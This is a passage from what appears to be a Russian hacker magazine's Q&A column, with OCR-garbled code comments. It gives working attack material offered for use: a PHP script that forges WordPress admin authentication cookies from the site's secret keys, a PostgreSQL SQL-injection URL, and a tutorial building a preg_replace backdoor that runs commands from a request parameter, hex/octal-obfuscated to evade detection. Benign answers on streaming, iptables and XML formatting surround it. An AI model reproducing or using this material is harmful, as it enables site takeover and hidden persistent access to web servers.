отвечающий за вывод этих самых пресловутых 
кукис на экран:

<?php

include './wp-includes/wp-settings.

php';

//èùåì ñåêðåòíûé êëþ÷ èç êîíôèãà è 

ñîëü èç áàçû

function wps() 

   {

   global $wp_default_secret_key;

   $w = $wp_default_secret_key;

   if(defined('SECRET_KEY') && 

      $w != SECRET_KEY)

      $secret_key = SECRET_KEY;

      if(defined('AUTH_KEY') && 

         $w != AUTH_KEY)

          $secret_key = AUTH_KEY;

      $salt=get_option('auth_salt');

      if(empty($salt))

         $salt = get_option('secret');

      return $secret_key.$salt;

   }

//ôóíêöèÿ ãåíåðèðóåò àâòîðèçàöèîí-

íûå êóêèñû

function auc($u = 'admin')

   {

   global $wp_version;

   $s = ($wp_version != '2.5'') ? 

      '|' : '';

   $t = 2107184816;

   return $u.'|'.$t.'|'.hash_

hmac('md5', $u.$s.$t,hash_

hmac('md5',$u.$s.$t,wps()));

   }

//âûâîäèì íà ýêðàí

print AUTH_COOKIE.'='.auc();

?>

UNITS
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Код выведет для тебя годные в течение 10 лет 
куки пользователя admin.

Q: Нашел SQL-инъекцию в движке, который ис-

пользует PostgreSQL, но никак не могу получить 

доступ к базе Information_schema. Не знаешь, в 

чем дело?

A: Вероятней всего, тебе попалась старая 
версия PostgreSQL, в которой попросту не 
существовало Information_schema. К счас-
тью, в то время было некое жалкое подобие 
этой базы под названием PG_TABLES. Как 
следует из названия, отсюда мы сможем 
узнать только таблицы, но никак не колонки 
(их придется подбирать вручную). Итак, 
исходя из того, что здесь названия таблиц 
хранятся в колонке TABLENAME, можно 
составить примерный запрос для эксплуата-
ции твоей скули:

http://www.site.com/postgre.

php?id=-999 union select 

TABLENAME,null,null,null,null from 

PG_TABLES limit 1 offset 0--

Q: Хочу создать свой стартап, но нужна какая-ли-

бо оригинальная идея. Отсюда вопрос: какие за-

падные стартапы считаются самыми успешными 

в интернете?

A: Если исходить из формата «Top 10», то можно 
выделить следующие мегауспешные веб-стар-
тапы последних нескольких лет:
1. MySpace (http://www.myspace.com), социаль-
ная сеть, основана в июле 2003 года;
2. YouTube (http://www.youtube.com), видеохос-
тинг, основан в феврале 2005 года;
3. Facebook (http://www.facebook.com), соци-
альная сеть, основана в феврале 2004 года;
4. Wikipedia (http://www.wikipedia.org), wiki-
based энциклопедия, январь 2001;
5. Bebo (http://www.bebo.com), социальная 
сеть, январь 2005 года;
6. Digg (http://www.digg.com), социальная сеть 
новостей, ноябрь 2004 года;
7. Flickr (http://www.flickr.com), фотохостинг, 
февраль 2004;
8. Netvibes (http://www.netvibes.com), твоя 
стартовая страница интернета, сентябрь 2005;
9. Del.icio.us (http://del.icio.us), социальные 
закладки, конец 2003 года;
10. Meebo (http://www.meebo.com), онлайн-
мессенджер, сентябрь 2005 года.
Как видно из вышеприведенного списка, все 
самые лакомые идеи из его начала уже заняты 
русскими стартаперами. Конец же списка впол-
не свободен для рунета. Так что, действуй :).

Q: Сделал карту VISA на сервисе Epassporte.

com. Всем доволен, кроме мизерного лимита на 

снятие денег в банкоматах — 320 баксов в день. 

Как поднять этот лимит?

A: Если ты не хочешь пользоваться мудреными 
инструкциями по увеличению лимитов самого 
епасса (пункт меню «Increase your limits» в 
админке), то советую воспользоваться серви-
сом ePayService (http://www.epayservice.ru), 
который предлагает своим клиентам получить 
карту Visa Electron ePassporte с изначально 
установленным дневным лимитом на снятие 
наличности до $25.000.
Для открытия счета в ePassporte с помощью 
сайта необходимо, чтобы на твоем счету в 
EPS Banking Online находилась сумма не 
менее $50 ($10 уже будет у тебя на кар-
те). Стоимость открытия счета зависит от 
дневного лимита на снятие наличности по 
карте ePassporte и может составлять от $50 
до $300 в зависимости от дневного лимита 
($520-$25.050). Сроки изготовления карты 
— 10-14 рабочих дней; сроки доставки: 
курьерской почтой (+$100) 3-4 рабочих дня, 
обычной почтой — около 3-х недель.

Q: Подскажи, каким образом можно надежней 

всего оставить свой бэкдор на сайте, движок 

которого написан на php? Способ с eval(base64_

decode()) уже очень хорошо палится.

A: Действительно, найти злонамеренный код, 
вызываемый через функцию eval, в своих 
скриптах проще простого (например, можно 
использовать всеми любимый grep eval ./*). 
Поэтому пытливые умы хакеров придумывают 
все новые и новые способы хитрого инжекта 
бэкдоров в php-скрипты.
Итак, сначала немного теории. Как ты, навер-
няка, уже знаешь, замечательная функция 
preg_replace() позволяет выполнять любой код 
с помощью модификатора «e»:

<?php

preg_replace('@(.+)@

ie',"\\1",'phpinfo();');

?>

Эта нехитрая регулярка вполне успешно 
выведет на твой экран результат выполнения 
функции phpinfo(). Теперь зададимся вопросом: 
почему бы нам не сконструировать свой бэкдор 
с помощью preg_replace()? Сделать это можно, 
например, так:

<?php

preg_replace('@(.+)@ie',   

   'eval("\\1");',

   '$_REQUEST[cmd]’);

?>

Код будет выполнять любую php-конструкцию, 
переданную в скрипт с помощью параметра 
cmd. К примеру, так ты сможешь вывести на 
экран phpinfo():

http://site.com/backdoor.php? 

cmd=phpinfo();

В этом способе все хорошо, кроме того, что он 
замечательно палится из-за наличия модифи-
катора «e» и вызова eval. Конечно, можно это 
дело замаскировать с помощью того же base64, 
но полученный код все еще будет очень подоз-
рительным и крайне легким для расшифровки.
Здесь нельзя не вспомнить особенность php, 
которая заключается в том, что шестнадцате-
ричные (hex) и восьмеричные (oct) символы 
можно использовать в качестве параметров 
функции и просто в качестве альтернативного 
способа написания любых строк (использовать 
эти символы необходимо в двойных кавычках).
Привожу пример функции, которая закодирует 
любую строку в нужное нам представление 
(причем, hex и oct будут чередоваться для 
усложнения дешифровки строки):

function str2hexoct($str)

{

   $str2hex = urldecode($str);

   $returnstr='';

    

   for($i=0;$i<strlen($str);$i++) 

   {

      $hex=dechex(ord($str[$i]));

      if($i % 2 != 0)

      {

         $hex=base_convert(

            $hex, 16, 8);

         $returnstr .= "\\$hex";

      }

      else

         $returnstr .= "\\x$hex"; 

   }

   return $returnstr;

}

Теперь заюзаем эту функцию для шифров-
ки вышеприведенных аргументов функции 
preg_replace():

<?php

function str2hexoct($str)

 {

 ...

 }
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$my_code = 'preg_replace("'.

str2hexoct('@(.+)@ie').'","'.st

r2hexoct('eval("\\1");').'","‘.

str2hexoct('$_REQUEST[cmd]').'");';

print $my_code;

?>

После выполнения скрипт выведет на экран 
следующее значение, которое вполне успешно 
можно юзать для бэкдоров без всяких eval и 
base64:

preg_replace("\x40\50\x2e\53\

x29\100\x69\145", "\x65\166\

x61\154\x28\42\x5c\61\x22\51\x3b", 

"\x24\137\x52\105\x51\125\x45\123\

x54\133\x63\155\x64\135");

Как видишь, теперь все аргументы нашей функ-
ции зашифрованы в hex и oct представлении. 
Кстати, свою работоспособность от этого она не 
потеряла и все так же выполнит для тебя любой 
php-код через переданный скрипту параметр 
cmd :)

Q: Слышал о создании нейронной сети по распоз-

наванию капчи на JavaScript. Где можно узнать 

об этом поподробней?

A: Действительно, некий Shaun Friedle 
написал на обычном javascript OCR-модуль 
для распознавания captcha на сервисе 
megaupload.com. Модуль представляет собой 
искусственную нейронную сеть для работы с 
картинками с помощью HTML 5 js-функции 
getImageData. Посмотреть пример работы и 
прочитать технические детали можно здесь: 
http://herecomethelizards.co.uk/mu_captcha, 
а исходный код скрипта находится по адресу 
http://userscripts.org/scripts/review/38736.

Q: Есть необходимость транслировать видео (на-

пример, с веб-камеры) в инет. В распоряжении 

есть сервер. Как лучше это реализовать?

A: На самом деле, вариантов множество. Если 
брать конкретные программные продукты 
для организации веб-трансляции, то советую 
взглянуть в сторону webcamXP Pro (http://
www.webcamxp.com), VLC (www.videolan.org/
vlc) и чрезвычайно мощного Wowza Media 
Server (http://www.wowzamedia.com). Можно 
также попробовать: ffserver (http://ffmpeg.
org/ffserver-doc.html), camserv (http://cserv.
sourceforge.net), webcam-server (http://
webcamserver.sourceforge.net).
Одним из самых практичных вариантов, по-
жалуй, является трансляция видео через Flash-
плеер — в таком случае с воспроизведением не 
будет проблем у большинства пользователей. 
Реализовать можно с помощью двух продук-
тов: Adobe Flash Media Encoder (http://www.
adobe.com/products/flashmediaencoding) и 
Adobe FMS (http://www.adobe.com/products/
flashmediaserver/flashmediaencoder). То же са-
мое вполне реально организовать с помощью 
опен-сорсного продукта Red5 (http://osflash.

org/red5). Особенно приятно, что видео в этом 
случае можно транслировать с нескольких 
камер одновременно.

Q: Я хочу транслировать в инет видео с моей 

веб-камеры. Как это сделать без собственного 

сервера?

A: Самый простой вариант — заюзать специ-
альные сервисы для организации трансляции. 
Такой функционал есть на smotri.com, rutube.ru 
и yatv.ru. Последний, кстати, пока мало нагру-
жен и буквально летает.

Q: Слышал, есть некий китайский «офис» — пол-

ный клон продукта от MS. Где найти?

A: Да, сделать полный клон и дать возможность 
клиентам приобрести более дешевый продукт 
— было главной задачей программистов 
ElOffice (http://www.evermoresw.com). Проект 
разрабатывается 9 лет, написан на Java, есть 
версии для Windows, Linux и Symbian OS. Име-
ется бета-версия для работы в онлайне через 
браузер. 

Q: Есть ли в Windows аналог команды uname, 

чтобы быстро определить версию системы? А то, 

бывает, получишь доступ к cmd.exe, а о принад-

лежности хоста к той или иной ОС приходится 

судить по косвенным признакам.

A: Такая команда есть: ver. Например, на офис-
ном компьютере «Геймленда» команда выдает:

C:\usr>ver

Microsoft Windows XP [Âåðñèÿ 

5.1.2600]

Это означает, что в качестве операционки 
используется Windows XP

Q: Я живу в провинции, где до сих пор инет тари-

фицируется по трафику, а безлимитных тарифов 

по адекватным ценам нет. И все бы ничего, если 

бы не необходимость общаться с работодателем 

(я фрилансер) по Skype. Эта зараза жрет чертов-

ски много трафика, даже если звонки непосредс-

твенно не осуществляются. Ведь есть же аналог, 

но с меньшим потреблением трафика?

A: Да, действительно: Skype может исполь-
зовать часть полосы твоего канала в любое 
время, когда он запущен. Благодаря этому 
удается обеспечить связь на любых компьюте-
рах, даже находящихся за NAT. Увы: страдают 
те, у кого каждый мегабайт по-прежнему на 
счету. В качестве альтернативы можно попро-
бовать VoIP-сервис nonoh.net. Клиент, конечно, 
серьезно проигрывает по удобству Skype, но 
зато отличается минимальным потреблением 
трафика и бесплатными звонками во многие 
страны, а в России — в Москву и Питер.

Q: Поставил CentOS, но обратиться к моим служ-

бам LDAP никто не может. Как это исправить?

A: Дело в том, что конфигурация Iptables в сис-
темах  CentOS / Red Hat / RHEL / Fedora Linux не 
позволяет осуществить входящие соединения 

к службам LDAP. Нужно открыть порты TCP #389 
и TCP # 636, добавив следующие строчки в /etc/
sysconfig/iptables:

-A RH-Firewall-1-INPUT -s 

192.168.1.0/24 -m state --state NEW 

-p tcp --dport 389 -j ACCEPT

-A RH-Firewall-1-INPUT -s 

192.168.1.0/24 -m state --state NEW 

-p tcp --dport 636 -j ACCEPT

Затем необходимо обновление службы iptables 
командой «service iptables reload». После этого 
подключение будут приниматься ото всех ком-
пьютеров из подсети 192.168.1.0/24.

Q: Есть несколько конфигов в XML, где все дан-

ные написаны одной строкой. Подскажи, есть ли 

способ автоматически отформатировать файлы 

так, чтобы появились отступы в соответствии со 

вложенностью элементов? 

A: Чтобы превратить непонятную кашу в 
опрятный XML-файл, можно воспользоваться 
готовым XSL-преобразованием:

<xsl:stylesheet version="1.0" 

   xmlns:xsl="http://www.

w3.org/1999/XSL/Transform»>

<xsl:output method="xml"/>

<xsl:param name="indent-increment" 

select="&apos;   &apos;" />

<xsl:template match="*">

   <xsl:param name="indent" 

select="&apos;&#xA;&apos;"/>

   <xsl:value-of select="$indent"/>

   <xsl:copy>

     <xsl:copy-of select="@*" />

     <xsl:apply-templates>

       <xsl:with-param name="indent"

            select="concat($indent, 

$indent-increment)"/>

     </xsl:apply-templates>

     <xsl:value-of select="$indent"/>

   </xsl:copy>

</xsl:template>

<xsl:template 

match="comment()|processing-

instruction()">

   <xsl:copy />

</xsl:template>

<!-- WARNING: this is dangerous. 

Handle with care -->

<xsl:template 

match="text()[normalize-

space(.)=&apos;&apos;]"/>

</xsl:stylesheet>

Применить XSL-преобразование к XML-файлу 
можно с помощью утилиты xmlstarlet (http://
xmlstar.sourceforge.net). z
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Если найти подходящий сплоит не получается, его можно попробовать 
написать саму. И для этого, возможно, даже не придется искать баги. У боль-
шинства открытых проектов система баг-трекинга, т.е. учета ошибок, находится  
в открытом доступе: каждый может добавить информацию о баге и прочитать 
существующие тикеты, где почерпнет полезную для взлома инфу. BugSpy — это 
очень интересный проект, который аггрегирует в одном месте информацию с 
огромного числа числа источников, предпочитая критические уязвимости. И 
самое главное — позволяет осуществлять по ней поиск. 

BUGSPY
bugspy.net

ЯTV
yatv.ru
Онлайн-сервис для организации своего персонального телевидения. 
Один из самых простых способов, сидя где-нибудь вдалеке от дома, 
организовать трансляцию красот со своей веб-камеры напрямую в Сеть. 
Все, что нужно — камера, браузер и более-менее шустрый инет. С другой 
стороны, никто не обязывает тебя вещать с веб-камеры и при желании 
можно устроить настоящий телеканал, транслируя смонтированные 
ролики. Создание телепрограммы, различных уровней доступа, живого 
общения со зрителями — все к твоим услугам.

BUGMENOT
www.bugmenot.com
Самая большая подстава со стороны сайта — попросить регистрацию 
для того, чтобы скачать какой-то файл или открыть статью. Избавить тебя 
от нудного занятия по созданию никому ненужного аккаунта поможет 
сайт BugMeNot. От тебя требуется лишь передать ему URL назойливого 
ресурса, а тот, если повезет, вернет несколько пар логин-пароль. База 
составляется такими же, как и ты, пользователями системы, и на текущий 
момент может действительно помочь на большинстве ресурсов. Кстати, 
для еще большего удобства я поставил себе специальный плагин для 
Firefox’а с этого же ресурса.

SYSINTERNALS LIVE
live.sysinternals.com
С помощью классных утилит Марка Руссиновича можно творить 
чудеса. Реанимировать систему? Да! Отловить руткит? Возможно! Чего 
стоят одни только монитор изменений в реестре и файловой системе. 
Одна проблема – такое количество тулз сложно всегда иметь под рукой. 
Теперь можно не париться с поиском на своем жестком диске и не закачи-
вать тулзы заново, каждый раз распаковывая их. К любой утилите всегда 
можно обратиться, набрав в браузере: http://live.sysinternals.com НАЗВА-
НИЕ_ПРОГРАММЫ. Бинарник закэшируется и тут же запустится.

Чтобы не регистриро-
ваться на левых сайтах

Для трансляции видео онлайн

Быстрый запуск 
утилит Sysinternals Для поиска информации  

о багах в программах

UNITS

http://www2
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